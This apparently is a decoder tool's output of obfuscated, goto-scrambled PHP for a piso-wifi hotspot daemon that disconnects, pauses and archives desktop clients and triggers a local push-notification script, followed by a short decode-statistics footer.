v3I5O: if (!$X0eQD) { goto pEkbl; } goto eVZNa; YyIcR: Xagf7: goto bXA9n; m3T_D: $Y6g_u = []; goto k1On8; KA1_1: T6Ou3: goto m3T_D; T8WvI: lQgOh: goto v3I5O; dZ9TZ: PisofiHelper::publishEvent("\157\156\143\x6c\151\x65\156\x74\144\151\163\x63\x6f\x6e\x6e\x65\x63\164\x65\x64", ["\143\154\x69\145\x6e\x74\x73" => $Y6g_u]); goto P_4_f; vTdt1: ZFv0V: goto Vzhkj; eVZNa: $ohvE5 = DesktopClient::whereRaw("\x20\x73\x74\x61\164\165\163\x20\75\40\x31\x20\x41\116\x44\x20\156\x6f\x74\x69\146\151\x65\144\x20\x3d\x20\x30\40\x41\116\104\x20\162\145\155\x61\x69\156\151\x6e\x67\x5f\x74\151\155\145\40\x3c\75\x20{$uGSgZ}\40")->get(); goto Ohdof; kWa23: DB::update("\x55\120\104\101\x54\105\40\144\145\163\x6b\x74\157\160\137\143\x6c\151\x65\156\164\x73\40\123\105\124\x20\163\x65\x6e\164\x3d\x30\x2c\x20\x75\160\144\x61\x74\145\x64\137\141\164\x20\x3d\x20\x4e\x4f\127\x28\51\54\40\162\145\x6d\141\x72\153\x73\40\x3d\40\x27\122\x75\156\156\151\156\x67\40\x55\x70\x64\141\x74\x65\40\124\x69\x6d\x65\x27\x2c\x20\162\145\x6d\141\151\156\x69\x6e\x67\137\164\151\155\145\40\75\40\111\x46\50{$VBsPb}\x20\76\40\162\145\x6d\x61\x69\x6e\x69\156\147\x5f\x74\x69\x6d\x65\x2c\x20\60\54\x20\x47\122\x45\x41\124\x45\x53\x54\x28\60\x2c\x20\x72\145\155\x61\x69\156\x69\x6e\x67\x5f\164\x69\155\x65\40\x2d\40{$VBsPb}\51\x29\40\127\110\105\122\105\40\x73\x74\x61\x74\x75\x73\40\x3d\40\61"); goto NViqg; Vzhkj: if (!(count($hgaXW) > 0)) { goto lQgOh; } goto pyRbg; Ohdof: foreach ($ohvE5 as $I19L0) { goto tHakz; KaHKH: Egg1R: goto vFrvT; kmEJT: exec("\x73\165\144\x6f\40\57\165\x73\x72\57\142\151\x6e\x2f\x70\x68\x70\40\57\x76\x61\162\57\x77\x77\167\x2f\x68\164\155\154\57\x70\151\163\157\146\151\57\x73\x63\x72\x69\160\x74\163\57\x77\x65\x62\x5f\160\x75\163\x68\x20{$ZHP8m}\x20\76\40\x2f\x64\x65\x76\x2f\156\165\x6c\154\40\x32\76\x26\x31\40\x26\x20"); goto prh7Q; tHakz: $ZHP8m = $I19L0->id; goto kmEJT; prh7Q: $I19L0->notified = 1; goto ymrBZ; ymrBZ: $I19L0->save(); goto KaHKH; vFrvT: } goto x6z3l; NYsOe: goto T6Ou3; goto YyIcR; x6z3l: GlgDh: goto mP62z; k1On8: foreach ($hgaXW as $jzxYf) { goto mQiaJ; yIC0V: $jzxYf->delete(); goto bqZzZ; eWVwd: if (!$fSaOy) { goto wFCG9; } goto Mzaoa; REkMr: HmUiq: goto vzb82; sjm46: agTcr: goto tjAhU; HskNX: wFCG9: goto JzZdo; tjAhU: f7quo: goto L8aeb; RnVys: $TCaip = $jzxYf->getData(); goto l6Qbb; l6Qbb: if (isset($TCaip["\144\151\163\143\157\x6e\156\145\x63\164\x65\x64"])) { goto sOTFW; } goto phHMv; vzb82: $Thdr9->disconnect($jzxYf->mac, $jzxYf->ip_address, $jzxYf->mark, $jzxYf->download_rate, $jzxYf->upload_rate, $jzxYf->download_rate); goto XBIne; zzM9a: goto gcIa8; goto pqALH; Mzaoa: echo "\x50\141\165\163\151\x6e\147\x20\104\145\163\x6b\164\157\x70\x20\x43\154\151\145\x6e\164" . PHP_EOL; goto RnVys; QMohB: if (!(time() - $TCaip["\x64\x69\163\143\x6f\156\x6e\x65\x63\x74\x65\144"] > 200)) { goto YIJMf; } goto LMRQP; mQiaJ: if ($jzxYf->remaining_time <= 0 || $jzxYf->isDisconnected()) { goto HmUiq; } goto eWVwd; phHMv: file_put_contents("\x2f\164\x6d\160\x2f\x70\x61\165\x73\145\144\x5f\x64\145\163\x6b\x74\157\160\x5f\153\x69\x63\x6b\145\162", "\x5b\117\113\135\72\x20" . date("\131\155\x64\110\151\163") . json_encode($TCaip) . PHP_EOL, FILE_APPEND); goto zzM9a; JzZdo: goto agTcr; goto REkMr; iXaBm: gcIa8: goto HskNX; AetVe: YIJMf: goto iXaBm; SCzLb: $jzxYf->pause(); goto AetVe; LMRQP: file_put_contents("\57\164\155\160\57\160\141\165\x73\x65\144\137\x64\145\163\153\164\157\160\x5f\153\151\x63\153\x65\x72", "\133\x50\101\125\x53\x45\104\x5d\x3a\40" . date("\131\155\144\110\x69\x73") . json_encode($TCaip) . PHP_EOL, FILE_APPEND); goto SCzLb; XBIne: ZKuEt($jzxYf); goto yIC0V; pqALH: sOTFW: goto QMohB; bqZzZ: $Y6g_u[] = ["\151\144" => $jzxYf->id, "\155\x61\x63" => $jzxYf->mac, "\x69\160\137\141\144\144\x72\x65\163\163" => $jzxYf->ip_address]; goto sjm46; L8aeb: } goto vTdt1; NViqg: if ($fSaOy) { goto Xagf7; } goto Y4V3K; pyRbg: $gX6_B = true; goto T8WvI; SWkNP: if (!(count($Y6g_u) > 0)) { goto CE4A1; } goto dZ9TZ; mP62z: pEkbl: goto SWkNP; dmJvV: } catch (Exception $tRWTQ) { echo "\x5b\104\x45\123\113\124\117\x50\135\x3a\40" . date("\x59\55\x6d\55\144\40\110\x3a\x69\x3a\x73") . "\40\x7c\x20" . $tRWTQ->getMessage() . PHP_EOL; file_put_contents(__FILE__ . "\x2e\x6c\157\x67", date("\x59\55\x6d\x2d\144\40\x48\72\x69\72\163") . "\x20\72\40" . $tRWTQ->getMessage() . "\40\141\x74\40\x4c\x69\156\145\x20" . $tRWTQ->getLine() . "\x20\x6f\x6e\40" . $tRWTQ->getFile() . "\xd\xa"); } goto esMHL; Ia2I1: $VBsPb = max(0, $PN4U3 - $xb4ec); goto cto0r; M_go1: goto cIbkR; goto Fg6qX; IwBrL: $VBsPb = 3; goto zWqyX; AW5mr: sleep(3); goto Qc1YG; Wp_64: } catch (Exception $tRWTQ) { file_put_contents(__FILE__ . "\x2e\154\157\147", date("\131\x2d\155\x2d\x64\x20\110\72\151\72\x73") . "\40\72\x20" . $tRWTQ->getMessage() . "\40\141\164\x20\x4c\151\x6e\145\x20" . $tRWTQ->getLine() . "\x20\x6f\156\40" . $tRWTQ->getFile() . "\15\xa"); echo $tRWTQ->getMessage() . PHP_EOL; } goto NIj9H; Txcs5: function ZKUet($jzxYf) { goto DtaIp; B2_ns: YRKN8: goto YbWqB; DtaIp: if (!$jzxYf) { goto YRKN8; } goto qSZc3; qSZc3: try { goto txK2i; txK2i: $JK3wk = ["\x6d\x61\x63" => $jzxYf->mac, "\151\160\137\141\144\x64\162\x65\163\163" => $jzxYf->ip_address, "\x64\141\164\145\x5f\x63\x6f\156\x6e\x65\143\164\145\144" => $jzxYf->date_connected, "\x63\157\156\x6e\145\x63\x74\x69\x6f\156\137\x74\151\x6d\x65" => $jzxYf->connection_time ?? 0, "\x72\x65\x6d\x61\151\156\x69\x6e\x67\x5f\x74\151\x6d\145" => $jzxYf->remaining_time ?? 0, "\x72\145\x6d\x61\162\153\x73" => $jzxYf->remarks, "\x6d\141\x72\x6b" => $jzxYf->mark, "\163\164\141\x74\x75\x73" => $jzxYf->status, "\x64\157\x77\156\154\157\141\144\137\162\x61\x74\x65" => $jzxYf->download_rate ?? 0, "\165\160\x6c\x6f\x61\x64\x5f\162\141\x74\x65" => $jzxYf->upload_rate ?? 0, "\165\x70\154\157\141\x64\137\x61\165\164\157" => $jzxYf->upload_auto, "\144\x6f\167\x6e\154\x6f\x61\x64\x5f\x61\165\x74\157" => $jzxYf->download_auto, "\x61\x75\x74\157\x5f\155\x61\156\141\x67\x65" => $jzxYf->auto_manage ?? 0, "\x72\x65\x6d\x61\x72\153\x73" => $jzxYf->remarks, "\x63\x6c\x69\145\x6e\164\137\x69\144" => $jzxYf->client_id, "\x64\157\167\x6e\x6c\157\x61\x64\x5f\165\163\141\x67\x65" => $jzxYf->download_usage ?? 0, "\x75\x70\154\157\x61\x64\x5f\x75\x73\141\147\x65" => $jzxYf->upload_usage ?? 0, "\164\x79\x70\x65" => $jzxYf->type ?? 1, "\x62\141\x6e\144\x77\151\x64\164\x68\137\154\151\x6d\x69\164" => $jzxYf->bandwidth_limit ?? 0, "\141\x6c\154\157\167\x5f\160\x61\165\163\145" => $jzxYf->allow_pause ?? 0, "\x61\154\x6c\x6f\x77\137\x63\x6f\x6e\166\x65\x72\163\x69\157\156" => $jzxYf->allow_conversion ?? 0, "\x61\154\154\157\167\137\163\150\141\162\151\156\x67" => $jzxYf->allow_sharing ?? 0, "\x70\x61\165\x73\x65\137\143\157\x75\156\164" => $jzxYf->pause_count ?? 0, "\x73\145\156\164" => $jzxYf->sent ?? 0, "\156\157\x74\151\146\151\145\144" => $jzxYf->notified ?? 0, "\141\x64\x6d\x69\156\137\160\141\x75\163\145\x5f\x6f\166\145\162\162\x69\x64\x65" => $jzxYf->admin_pause_override ?? 0, "\x73\x65\163\163\x69\157\x6e\x5f\151\144" => $jzxYf->session_id ?? 0]; goto lF7MB; ZeNc0: OldClient::create($JK3wk); goto Hu2Vn; lF7MB: if (!$jzxYf instanceof ActiveClient) { goto wX4WO; } goto lym4T; lym4T: $JK3wk["\145\170\x70\x69\162\x61\164\151\157\x6e\137\144\x61\x74\x65"] = $jzxYf->expirationDate(); goto A6yNr; A6yNr: wX4WO: goto ZeNc0; Hu2Vn: } catch (Exception $tRWTQ) { echo $tRWTQ->getMessage() . PHP_EOL; } goto B2_ns; YbWqB: } goto JO4Ko; I_P7Y: $YmgC4 = (int) $lY2YW->portalMaximumTimeAllowedPauseInSeconds(); goto Y9CP3; Y9CP3: $lgwLb = (bool) $lY2YW->canLimitMinPauseTime(); goto Zd6hI; efOMp: $uGSgZ = $gALHl["\144\x65\x6c\x61\171"] * 60; goto qabOp; TpN51: $lY2YW = new PortalManager(); goto an1FO; NIj9H: } goto JjEYM; Y1kqF: QUi0B: goto o7E9B; t77DK: $fFS64 = fopen(__FILE__ . "\56\154\x6f\143\153", "\x77\x2b"); goto eCoSq; zc9CR: echo "\123\x74\x61\x72\164\x69\x6e\147\40\103\x6f\x6e\156\x65\x63\164\x69\157\x6e\40\103\150\x65\143\153\145\x72" . PHP_EOL; goto lbxVY; fwMvt: if (!true) { goto QUi0B; } goto xeHQ1; JjEYM: set_time_limit(0); goto t77DK; nA3Md: bGqdh: goto fwMvt; lbxVY: $Thdr9 = new Pisofier(); goto ig5Pm; nUaoL: unlink(__FILE__ . "\56\154\x6f\143\153");

Function Calls

None

Variables

None

Stats

MD5 e659aaa6f50c1ea2ec22b0601533d1de
Eval Count 0
Decode Time 88 ms